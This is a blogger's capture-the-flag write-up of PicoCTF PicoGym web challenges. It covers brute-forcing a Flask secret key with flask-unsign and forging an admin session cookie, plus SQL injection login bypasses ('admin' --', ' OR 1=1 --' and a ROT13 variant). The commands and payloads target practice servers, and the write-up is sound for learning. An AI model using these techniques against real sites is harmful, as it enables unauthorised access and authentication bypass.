PicoGym Random Writeups

Because of my imminent work in a Red team, I wanted to practice a bit with some CTF challenges.

I tried hackthebox, but I didn’t liked it because is too guided and “step by step”. I then went over to PicoCTF’s PicoGym. Even if it’s for high school students, I find it quite good.

Web Exploitation

Search Source - 100p

The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here

Even before opening the website we can assume that we’ll need to inspect the source code, in order to find something useful. The website is something related to a yoga course?

it’s just a pretty generic landing page. Let’s see the source code!

index.html is quite regular: some imports for bootrstrap and font-awesome in the head tag, and nothing really worth in the body except for this comment:

<!-- six_box
end six_box   The flag is not here but keep digging :)-- >

Let’s keep digging!

The flag is not in this file, so let’s start from the imports in the head: head Every .css file is minified, except for style.css and responsive.css. If we search for the keyword pico in style.css we get our flag: flag_search

This was quite easy, let’s spice it up a bit!

Most Cookies - 150p

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:52134/

Okay, just from the description we know that

  • The challenge is about cookies
  • The target is written using Flask, which I should know a bit of!
  • We have the source code!!
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)

@app.route("/")
def main():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "blank":
			return render_template("index.html", title=title)
		else:
			return make_response(redirect("/display"))
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/search", methods=["GET", "POST"])
def search():
	if "name" in request.form and request.form["name"] in cookie_names:
		resp = make_response(redirect("/display"))
		session["very_auth"] = request.form["name"]
		return resp
	else:
		message = "That doesn't appear to be a valid cookie."
		category = "danger"
		flash(message, category)
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

@app.route("/reset")
def reset():
	resp = make_response(redirect("/"))
	session.pop("very_auth", None)
	return resp

@app.route("/display", methods=["GET"])
def flag():
	if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp
		flash("That is a cookie! Not very special though...", "success")
		return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
	else:
		resp = make_response(redirect("/"))
		session["very_auth"] = "blank"
		return resp

if __name__ == "__main__":
	app.run()

Our goal is to manipulate the value of the session variable very_auth. If its value is admin we will obtain the flag.

if session.get("very_auth"):
		check = session["very_auth"]
		if check == "admin":
			resp = make_response(render_template("flag.html", value=flag_value, title=title))
			return resp

How can we do that? We can edit the very_auth session variable when we enter the biscuit name.

When I studied web-development at school, the teacher told us that session data are stored server-side. Well, that’s not (always) true.

As we can read on the Flask doc

If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.

So, if we have the secret key, we can craft a custom session data that has the very_auth value set to admin.

Guess what? we don’t exactly know which is the secret key of the remote web server, but we know how that’s chosen: it’s a random choice between the elements of the cookie_name list. We have a valid and signed session data cookie (we can take it using firefox developer tools): Let’s bruteforce!

The first result on google is this library: Flask-Unsign. It has a really really nice cli switch: --wordlist. Let’s transform our cookie_names python list in a plain text list with one cookie name per line, and run the following command

$ flask-unsign --wordlist wordlist.txt --unsign --cookie "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.Zg7W6Q.LoCgUmlDHGcM-NioGVQ5kOeSr7o" --no-literal-eval

After a really short time… result

Our flask secret key is peanut butter!

Now, always with flask-unsign, we can craft the custom cookie, use it to replace the real one, and get our flag!

$ flask-unsign --sign --cookie "{'very_auth':'admin'}" --secret 'peanut butter'

Which outputs

eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Zg7aaA.Hug5ru08NmxhFE-UsfUMOH9zzwg

and if we do the “cookie substitution”

we got the flag!

We get the flag! This one was fun!

Irish-Name-Repo 1 - 300p

There is a website running at https://jupiter.challenges.picoctf.org/problem/50009/ (link) or http://jupiter.challenges.picoctf.org:50009. Do you think you can log us in? Try to see if you can login!

The website is a sort of static website about… irish actors? those websites are weird.

Anyway, there’s not a lot to do except the admin login page. Even the login page is quite simple, but if we analyze the code we can find something interesting: an hidden input named debug

<input type="hidden" name="debug" value="0">

If we use the firefox inspector to change the value to 1, we can see the username, the password and a SQL query, probably the one used for the login check.

irish

Is this just a way to push us into an SQL injection?

pico6

pico7

Yes.

After the “Most cookies”, this challenge has been a bit disappointing considering that it had twice as many points.

Irish-Name-Repo 2 - 350p

Same website of Irish Name Repo 1 but “improved”. If i try the same injection as before it doesn’t work because it detects the sql injection.

But if I try with just admin' -- (the condition is just the admin user exists) it works. done.

Irish-Name-Repo 3 - 400p

Again, same, but the username field is no more. The debug input is still there. If i try to inject ' OR 1=1 -- the debug output is weird:

alt text

be? I didn’t wrote be! but this can maybe be ROT13?

alt text

Yes, it is. If the SQL injection has ‘be’ instead of ‘or’ it should work. And it does.

alt text

400 points for this? really?


Created on 4/4/2024 - Last updated on 4/4/2024